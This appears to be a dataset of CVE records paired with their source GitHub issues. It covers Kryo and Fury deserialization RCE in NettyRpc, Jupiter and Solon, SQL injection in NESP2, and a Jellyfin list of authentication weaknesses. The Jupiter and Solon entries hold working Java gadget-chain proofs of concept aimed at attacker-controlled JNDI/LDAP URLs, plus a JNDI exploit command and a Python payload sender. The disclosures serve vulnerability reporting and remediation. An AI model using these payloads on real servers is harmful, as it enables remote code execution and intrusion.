return rs;
}}
```
4. Execute RpcServerBootstrap2 in the "com.app.test.server" package.
5. Run the POC code, and examine the obtained result:
6. Stack Trace:
```java
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readObject:734, Kryo (com.esotericsoftware.kryo)
read:391, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
read:302, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
readObject:734, Kryo (com.esotericsoftware.kryo)
read:125, ObjectField (com.esotericsoftware.kryo.serializers)
read:543, FieldSerializer (com.esotericsoftware.kryo.serializers)
readObject:712, Kryo (com.esotericsoftware.kryo)
deserialize:43, KryoSerializer (com.netty.rpc.serializer.kryo)
decode:42, RpcDecoder (com.netty.rpc.codec)
decodeRemovalReentryProtection:505, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:444, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:283, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:328, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:302, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
channelRead:287, IdleStateHandler (io.netty.handler.timeout)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1422, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:931, DefaultChannelPipeline (io.netty.channel)
read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:700, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:635, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:552, NioEventLoop (io.netty.channel.nio)
run:514, NioEventLoop (io.netty.channel.nio)
run:1044, SingleThreadEventExecutor$6 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:745, Thread (java.lang)
```
## Analysis
### Trigger
1. In RpcDecoder, the default deserialization method is Kryo:
2. Subsequently, KryoSerializer receives the object from com.netty.rpc.codec.RpcRequest (our malicious object) and places it into deserialization without conducting any security checks:
3. The process then follows the CommonsBeanutils gadget:
# Remediation Recommendations
**1. Upgrade Kryo to Version 5.0 or Higher:**
Upgrade the Kryo library to version 5.0 or a later release to benefit from the latest security enhancements and bug fixes.
**2. Strict Outbound Internet Access Control**
Due to the prevalence of known attack vectors leveraging JDNI injection to achieve Remote Code Execution (RCE), which requires the remote loading of malicious classes, it is recommended, where feasible without impacting business operations, to implement strict outbound internet access controls on server configurations.
**3. Restriction of Access to Server**
It is advisable to restrict external access to the server either by utilizing whitelist IP configurations or by closing public-facing ports. This measure aims to reduce the attack surface and potential risks associated with external access to the server.
**4. Implementation of Whitelists/Blacklists for Serialization/Deserialization Classes**
Establishing whitelists or blacklists for serialization/deserialization classes within the serialization protocol is recommended. This helps to restrict the deserialization of malicious classes. However, it is important to note that using a blacklist may introduce the risk of potential bypasses.
| Kryo Deserialization Vulnerability in NettyRpc 1.2 | https://api.github.com/repos/luxiaoxun/NettyRpc/issues/53/comments | 0 | 2023-12-01T02:23:13Z | 2023-12-01T02:23:13Z | https://github.com/luxiaoxun/NettyRpc/issues/53 | 2,019,920,057 | 53 | 5,784 |
CVE-2023-48887 | 2023-12-01T23:15:07.967 | A deserialization vulnerability in Jupiter v1.3.1 allows attackers to execute arbitrary commands via sending a crafted RPC request. | {
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"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/fengjiachun/Jupiter"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/fengjiachun/Jupiter/issues/115"
},
{
"source": "cve@mitre.org",
"tags": [
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],
"url": "https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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],
"url": "https://github.com/fengjiachun/Jupiter"
},
{
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"url": "https://github.com/fengjiachun/Jupiter/issues/115"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Not Applicable"
],
"url": "https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0"
}
] | [
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] | [
"502"
] | 502 | https://github.com/fengjiachun/Jupiter/issues/115 | [
"Exploit"
] | github.com | [
"fengjiachun",
"Jupiter"
] | # Describe the Vulnerability
A deserialization vulnerability in Jupiter v1.3.1 allows attackers to execute arbitrary commands via sending a crafted RPC request.
# Environment
- Jupiter version: v1.3.1
- JVM version: JDK 1.8(Tested on JDK 1.8.0_65)
# Preparation for Vulnerability Verification
1. There is an additional method named "sayObject" in the service
2. The application has dependencies on commons-collections and commons-beanutils.
3. Remote class loading is allowed (either because an old JDK version is being used(eg. 8u65 in this paper), or by using the JVM argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
# Exploit and Analysis
## POC
1. Obtain the JNDI injection tool from: https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
2. Use the following command below to establish a JNDI link
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
3. Paste the provided POC code below into the project, ensuring to modify the JNDI URL address! Also, Modify the SerializerType to be Kryo.
```java
package org.jupiter.example.non.annotation;
import org.jupiter.common.util.SystemPropertyUtil;
import org.jupiter.example.ServiceNonAnnotationTest;
import org.jupiter.rpc.DefaultClient;
import org.jupiter.rpc.JClient;
import org.jupiter.rpc.consumer.ProxyFactory;
import org.jupiter.rpc.model.metadata.ServiceMetadata;
import org.jupiter.serialization.SerializerType;
import org.jupiter.transport.JConnector;
import org.jupiter.transport.exception.ConnectFailedException;
import org.jupiter.transport.netty.JNettyTcpConnector;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.Comparator;
import java.util.TreeMap;
public class CB_RCE_Client {
public static void main(String[] args) throws Exception {
// Modify the JNDIURL here!!
String jndiUrl = "ldap://169.254.197.239:1389/a43idy";
SystemPropertyUtil.setProperty("jupiter.message.args.allow_null_array_arg", "true");
SystemPropertyUtil.setProperty("jupiter.serializer.protostuff.allow_null_array_element", "true");
final JClient client = new DefaultClient().withConnector(new JNettyTcpConnector());
// 连接RegistryServer
client.connectToRegistryServer("127.0.0.1:20001");
// 自动管理可用连接
JConnector.ConnectionWatcher watcher = client.watchConnections(
new ServiceMetadata("test", "org.jupiter.example.ServiceNonAnnotationTest", "1.0.0")
);
// 等待连接可用
if (!watcher.waitForAvailable(3000)) {
throw new ConnectFailedException();
}
Runtime.getRuntime().addShutdownHook(new Thread(client::shutdownGracefully));
ServiceNonAnnotationTest service = ProxyFactory.factory(ServiceNonAnnotationTest.class)
.group("test")
.providerName("org.jupiter.example.ServiceNonAnnotationTest")
.version("1.0.0")
.client(client)
// Modify the SerializerType to be Kryo here!!
.serializerType(SerializerType.KRYO)
.newProxyInstance();
BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
Object trig = makeTreeMap(makeJNDIRowSet(jndiUrl), cmp);
setFieldValue(cmp, "property", "databaseMetaData");
try {
service.sayObject(trig);
} catch (Exception e) {
e.printStackTrace();
}
}
public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = getField(entryCl, "left");
Field rootF = getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
setFieldValue(tm, "size", 2);
return tm;
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
}
```
4. Run Server and RegistryServer in the "org.jupiter.example.non.annotation" package
5. Finally, run the POC code, and examine the obtained result:
6. Stack Trace:
```java
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
read:140, MapSerializer (com.esotericsoftware.kryo.serializers)
read:17, MapSerializer (com.esotericsoftware.kryo.serializers)
readObject:685, Kryo (com.esotericsoftware.kryo)
read:378, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
read:289, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
readObject:685, Kryo (com.esotericsoftware.kryo)
read:106, ObjectField (com.esotericsoftware.kryo.serializers)
read:482, FieldSerializer (com.esotericsoftware.kryo.serializers)
readObject:663, Kryo (com.esotericsoftware.kryo)
readObject:106, KryoSerializer (org.jupiter.serialization.kryo)
run:114, MessageTask (org.jupiter.rpc.provider.processor.task)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
```
## Analysis
### Trigger
1. In MessageTask.run(), as we have set the Serializer to be Kryo:
2. Subsequently, KryoSerializer receives the object from client and places it into deserialization without conducting any security checks:
3. The process then follows the CommonsBeanutils gadget:
# Remediation Recommendations
**1. Upgrade Kryo to Version 5.0 or Higher:**
Upgrade the Kryo library to version 5.0 or a later release to benefit from the latest security enhancements and bug fixes.
**2. Strict Outbound Internet Access Control**
Due to the prevalence of known attack vectors leveraging JDNI injection to achieve Remote Code Execution (RCE), which requires the remote loading of malicious classes, it is recommended, where feasible without impacting business operations, to implement strict outbound internet access controls on server configurations.
**3. Restriction of Access to Server**
It is advisable to restrict external access to the server either by utilizing whitelist IP configurations or by closing public-facing ports. This measure aims to reduce the attack surface and potential risks associated with external access to the server.
**4. Implementation of Whitelists/Blacklists for Serialization/Deserialization Classes**
Establishing whitelists or blacklists for serialization/deserialization classes within the serialization protocol is recommended. This helps to restrict the deserialization of malicious classes. However, it is important to note that using a blacklist may introduce the risk of potential bypasses.
| Kryo Deserialization Vulnerability in Jupiter v1.3.1 | https://api.github.com/repos/fengjiachun/Jupiter/issues/115/comments | 0 | 2023-12-01T02:14:00Z | 2023-12-01T02:14:00Z | https://github.com/fengjiachun/Jupiter/issues/115 | 2,019,911,389 | 115 | 5,785 |
CVE-2020-36768 | 2023-12-03T11:15:08.443 | A vulnerability was found in rl-institut NESP2 Initial Release/1.0. It has been classified as critical. Affected is an unknown function of the file app/database.py. The manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The patch is identified as 07c0cdf36cf6a4345086d07b54423723a496af5e. It is recommended to apply a patch to fix this issue. VDB-246642 is the identifier assigned to this vulnerability. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "cna@vuldb.com",
"type": "Secondary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.4,
"source": "cna@vuldb.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
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] | 89 | https://github.com/rl-institut/NESP2/issues/334 | [
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] | github.com | [
"rl-institut",
"NESP2"
] | Hi,
just passing by, but noticed (at least one) sql injection issue in
https://github.com/rl-institut/NESP2/blob/a82e6ce7ae6e81b2a1e08a31858399839c0fdf81/app/database.py#L66
user-controlled data is used without escaping in a raw sql query. I suggest either to use the orm layer, or maybe one of
```
table = Table('table', metadata, autoload = True, autoload_with = engine)
s=table.select().where(Column('blub') == usercontrolled1).where(Column('muh') == usercontrolled2)
```
or
```
filter=['blub = :value1', 'blub2 = :value1']
values={'value1':usercontrolled1,'value2':usercontrolled2}
sql = 'select * from table where' + 'and'.join(filter)
result = connection.execute(sql, **values)
```
should make sqlalchemy escape the input.
The severity of this issue depends on the sql server configuration, I don't want to set up a local test environment
| possible sql injection | https://api.github.com/repos/rl-institut/NESP2/issues/334/comments | 6 | 2020-11-05T00:24:25Z | 2020-11-05T13:06:23Z | https://github.com/rl-institut/NESP2/issues/334 | 736,512,310 | 334 | 5,786 |
CVE-2023-48967 | 2023-12-04T17:15:07.190 | Ssolon <= 2.6.0 and <=2.5.12 is vulnerable to Deserialization of Untrusted Data. | {
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"Exploit",
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] | github.com | [
"noear",
"solon"
] | ### Issue Description
We recently discovered that Solon provides 'Fury' as a serialization and deserialization solution for RPC. However, our research has found that the corresponding component has a security vulnerability. Attackers can execute a JNDI injection attack using a carefully constructed attack payload.
### Vulnerability Localization
The vulnerability is located at line 25 of the `org.noear.solon.serialization.fury.FuryActionExecutor` class, as shown in the figure above. Although Fury provides a built-in blacklist to defend against potential deserialization attacks, we will next demonstrate how to bypass this blacklist to carry out an attack.
### Vulnerability Reproduction
##### Configuring the RPC Service
Issue #145 has already provided a simple configuration for an RPC server. We just need to add the following dependencies in the pom.xml file:
```
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon.serialization.fury</artifactId>
<version>2.6.0</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>quercus</artifactId>
<version>4.0.66</version>
</dependency>
```
##### Configuring a Malicious LDAP Server
We use `ysoserial`(https://github.com/frohoff/ysoserial) to set up a malicious LDAP server for subsequent JNDI injection attacks(Note that in this instance, we are demonstrating using the well-known exploit chain CommonsCollections2. To achieve a similar effect, please configure the corresponding dependencies on the RPC server side.).
### Proof of Concept
We can obtain the serialized data required for the attack through the following PoC (Proof of Concept).
```
RegistryContext registryContext = new RegistryContext("127.0.0.1", 8989, null);
MemoryModel memoryModel = new MemoryModel();
memoryModel.bind("evil", registryContext);
ContextImpl context = new ContextImpl("rmi://localhost:8888/8tr4qv", memoryModel, null);
Constructor c = QBindingEnumeration.class.getDeclaredConstructors()[0];
c.setAccessible(true);
ArrayList<String> list = new ArrayList<>();
list.add("/evil/8tr4qv");
QBindingEnumeration enumeration = (QBindingEnumeration) c.newInstance(context, list);
XStringForFSB xString = Reflections.createWithoutConstructor(XStringForFSB.class);
Reflections.setFieldValue(xString, "m_strCache", "nxjkas");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",enumeration);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",enumeration);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
byte[] poc = FuryUtil.fury.serialize(s);
new FileOutputStream(new File("/tmp/serifury")).write(poc);
```
Subsequently, we can use the Python script below to send the malicious serialized data to the server, completing the exploitation (this Python script is also referenced from Issue #145).
```
with open("/tmp/serifury","rb") as f:
body= f.read()
print(len(body))
burp0_url = "http://127.0.0.1:8080/rpc/v1/user/getUser"
burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
ct = "application/fury"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate",
"Connection": "close", "Content-Type": ct, "Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body, proxies=proxy)
print(res.text)
```
### Attack Results
| A new RCE vulnerability | https://api.github.com/repos/opensolon/solon/issues/226/comments | 4 | 2023-11-16T11:03:17Z | 2025-03-31T03:44:33Z | https://github.com/opensolon/solon/issues/226 | 1,996,605,274 | 226 | 5,787 |
CVE-2023-49096 | 2023-12-06T20:15:07.287 | Jellyfin is a Free Software Media System for managing and streaming media. In affected versions there is an argument injection in the VideosController, specifically the `/Videos/<itemId>/stream` and `/Videos/<itemId>/stream.<container>` endpoints which are present in the current Jellyfin version. Additional endpoints in the AudioController might also be vulnerable, as they differ only slightly in execution. Those endpoints are reachable by an unauthenticated user. In order to exploit this vulnerability an unauthenticated attacker has to guess an itemId, which is a completely random GUID. It’s a very unlikely case even for a large media database with lots of items. Without an additional information leak, this vulnerability shouldn’t be directly exploitable, even if the instance is reachable from the Internet. There are a lot of query parameters that get accepted by the method. At least two of those, videoCodec and audioCodec are vulnerable to the argument injection. The values can be traced through a lot of code and might be changed in the process. However, the fallback is to always use them as-is, which means we can inject our own arguments. Those arguments land in the command line of FFmpeg. Because UseShellExecute is always set to false, we can’t simply terminate the FFmpeg command and execute our own. It should only be possible to add additional arguments to FFmpeg, which is powerful enough as it stands. There is probably a way of overwriting an arbitrary file with malicious content. This vulnerability has been addressed in version 10.8.13. Users are advised to upgrade. There are no known workarounds for this vulnerability. | {
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] | github.com | [
"jellyfin",
"jellyfin"
] | # Collection of *potential* security issues in Jellyfin
This is a non exhaustive list of *potential* security issues found in Jellyfin. Some of these might cause controversy. Some of these are design flaws and require breaking changes to correct them. I tried to categorize the issues in general topics. Expansions of this list are welcome. Most of the items on this list are not meant for immediate fixing, but rather for long term planning with a 11.0+ future release in mind, where significant (breaking) changes are allowed. My intention is not to highlight why these issues are here, but what could be done to improve the situation.
## Unauthenticated endpoints
- ~~#5689 WebSocket connection doesn't require authentication~~
- #1501 Video streams completely unauthenticated (VideosController, HlsSegmentController, ~~LiveTVController~~)
- Summary: The current implementation allows direct play without authentication. Transcoded media is partially authenticated (old HLS only has metadata protection, new HLS protects all). The Jellyfin web client *does* provide an api_key parameter in the URL for ~~all~~ some stream types<sup>1</sup>, but it isn't checked.
- HlsSegmentController has a comment saying "Can't require authentication just yet due to seeing some requests come from Chrome without full query string"
- ~~This also applied to streams in LiveTvController endpoints. Those are also not authenticated.~~ Update: Appears to be resolved in 10.8.9
- Potential fix: Require authentication on all video streams, both direct streams as well as any transcoded media.
- "Gets subtitles in a specified format" and "Gets subtitles in a specified format" (SubtitleController) endpoints are unauthenticated
- Allows anyone who is able to retrieve the item id to download subtitles, even if not logged in
- Potential fix: Authenticate both endpoints
- All endpoints in AudioController are unauthenticated
- Has a comment saying "TODO: In order to authenticate this in the future, Dlna playback will require updating"
- Currently affects "GetAudioStream()" and "GetAudioStreamByContainer()" endpoints. Anyone with knowledge about item ID's can retrieve audio from the server, even if not logged in.
- Potential fix: Authenticate endpoints
- ~~All~~ Most endpoints in DashboardController are unauthenticated [Update: Partially authenticated since 10.8b1]
- As of 10.7, this controller apparently contains admin dashboard (plugin) configuration pages. While the pages alone are not highly sensitive by itself (the controller only returns the list & html pages without config data), the endpoints being completly unauthenticated allows anyone to retrieve information about the server, e.g this leaks the installed plugins.
- Potential fix: Require admin privileges (at least user privileges) to access these pages
- All (raw) image endpoints in ImageByNameController, ImageController & RemoteImageController are unauthenticated
- This allows probing on whether a specific image exists on the server by guessing item id's (which can be done without too much trouble, as item ids are based on filepath and filename information) and then checking on what content (movies, series etc) exist on a given server, without having an account.
- Potential fix: This is tricky, because the images are loaded by the browser itself, so currently no authentication is provided. Below I propose a new authentication mechanism which would also fix this issue, allowing these endpoints to be authenticated.
- PluginsController only requires user privileges for potentially sensitive actions
- Includes, but is not limited to: Listing all plugins on the server without being admin, changing plugin settings, listing plugin settings without being admin. **This includes the possibility of retrieving LDAP access credentials without admin privileges**. In specific conditions it can also lead to attacks that leak entire user passwords, e.g by changing the remote LDAP server to an attacker controlled server.
- Potential fix: Require admin privileges for all potentially sensitive plugin endpoints, e.g all non-legacy endpoints.
- GetUsers() endpoint (UserController) only requires user privileges
- Allows listing of any user, id included, on the server, not limited to public users. Can leverage massively more invasive attacks due to further issues with user id authentication, see below.
- Potential fix: Require admin privileges on this endpoint
- GetUser() endpoint (UserController) is fully unauthenticated
- Allows an attacker with knowledge of user id's (easily retrievable for authenticated users due to open /Users endpoint, see above) to get the entire user configuration for a given user, potentially containing sensitive or private information. Examples include the authentication provider, last login dates as well as bruteforce login information (login attempt counters).
- Potential fix: Require user privileges on this endpoint. Better would be to only allow users to retrieve their own data, only admins should have the ability to see all users. See below for issues relating to per-user authentication.
- ~~GetUserViews() & GetGroupingOptions() (UserViewsController) endpoints are unauthenticated~~ [Update: Resolved in 10.8b1]
- Allows anyone with knowledge of a user id to retrieve potentially user-personalized data of a user, without being authenticated as this user (also works without having an account on the server). Potentially leaks personal data of users.
- Potential fix: Require user authentication (ideally specific per-user authentication) for these endpoints.
- GetAttachment() (VideoAttachmentsController) endpoint is unauthenticated
- Allows anyone with knowdlege of a video id to retrieve any attachments, without requiring valid credentials
- Potential fix: Require authentication on this endpoint
- GetSystemInfo() (SystemController) is unauthenticated
- Leaks internal information about the server
- Potential fix: Only allow during first time setup, then require admin access
- Branding/Splashscreen API endpoint (ImageController) is unauthenticated [New in 10.8]
- Returns an image auto-generated from available media on the server. As this image is publicy available, this partially leaks metadata about media available on the server.
- Potential fix: Require authentication on this endpoint (may be difficult without auth rewrite, see other image issues above)
<sup>1</sup> except HlsSegmentController because the m3u playlist generated doesn't contain parameters
## Authentication and user ids are decoupled
This is basically a single issue, however because it affects at least 27 controllers (+ many more endpoints) I'm listing this an issue category. This issue is related to #5210. Quoting my statements from that issue:
>
> As soon as you know a user's id, you do really get some data. If you modify your local storage to use an admin's user id, the UI starts showing the admin dashboard and the admin user's data (continue watching, favorites etc), but you cannot perform any admin-only API calls there as your session is still not privileged.
>
> You can still mess with the others user data - you can for example list or modify their favorites, recently watched, their progress on movies and series, see what they watched and so on, but you do not gain admin access. You basically get access to other users data, without gaining their privileges.
>
> It's a bit of a weakness of the Jellyfin API, that simply having a user's id + having some authentication token (from any other user) exposes much of the data of the other user. Most of the API simply takes the user id as a parameter, without checking if the current session is allowed to view data of that user.
Explanation: Because the API isn't checking whether the session authorization matches the id of the requested user, any authenticated user can edit every other user. This includes, but is not limited to, viewing & modifying favorites, watch progress, customizations, profile settings (except passwords), views and many more. <s>The API only performs this check when attempting to perform actions such as changing a password: Then a function "assertCanUpdateUser()" from RequestHelpers is called to ensure that the session auth is valid to modify the password. Such a check, which binds auth information to the user id, should be present (almost) everywhere to ensure that users do not modify other users data.</s> Exceptions could be made to admin users, but normal users should not be able to view or edit other users.
Update: Since 10.9, basic checking of update permissions is now performed on (most?) endpoints that update user data. It is still possible to read another user's data without admin privileges.
The only requirement for this is knowledge of a user id, which is currently trivially easy due to loose permissions on the /Users endpoint.
## Issues related to how authentication is handled
### Authentication information in HTTP URL's - the `api_key` parameter
Related: #3492
The jellyfin API currently accepts authentication either via a custom header, `X-Emby-Authorization` (or similar) or via a get parameter, `api_key`, which is used sometimes by the web client. The latter is problematic because having secrets in a URL is generally not a great idea. A user who copies a URL maybe isn't aware that the URL contains secrets. Especially stream URLs are very long, because they contain many parameters and so the api_key parameter is easily overlooked. A user who carelessly shares such URL exposes their credentials to the world.
In addition, server admins who run jellyfin behind some type of (reverse) proxy almost always make some type of request logging. Request logging almost always includes the entire request url. This exposes the secret parameter to a logfile, making the logfile itself a precious secret. This is dangerous, as even too wide permissions on a single logfile can expose session credentials. On most webservers it is possible to censor such parameters before writing to a logfile, but this isn't currently explained or mentioned anywhere in the Jellyfin docs. (I do plan to make such a PR later to the docs page, if I don't forget it). Update: [The PR](https://github.com/jellyfin/jellyfin-docs/pull/522) is now live.
This issue - secrets in URLs - is long known to web developers. Sometimes it can't be avoided, but I believe the best way going forward would be to get rid of api_key parameters in URLs. It prevents many dragons lurking around.
### Authentication information is stored in browsers local storage
Another rather big topic, with potential for controversy. Currently client authentication is handled by Javascript reading secrets from the browsers local storage and sending this via a custom HTTP header (or sometimes crafting URLs with an api_key parameter).
This is bad design, because a single XSS issue is enough to read out the local storage, extracting user credentials (session auth tokens), thus hijacking a user's entire session with a Jellyfin server.
Many people don't like Cookies, I know, but until we have something better (like HTTP state tokens or so) Cookies are the best way to handle this going forward. Authentication data should be stored in a HTTP Cookie with Secure, HttpOnly and SameSite=Lax/Strict attributes set. A HttpOnly cookie prevents JavaScript from accessing user credentials, even if an attacker has JavaScript access due to an XSS issue. Right now, Jellyfin has some CSRF protection because on cross site requests no authentication data is send. SameSite attributes produce similar effects, hopefully preventing CSRF issues.
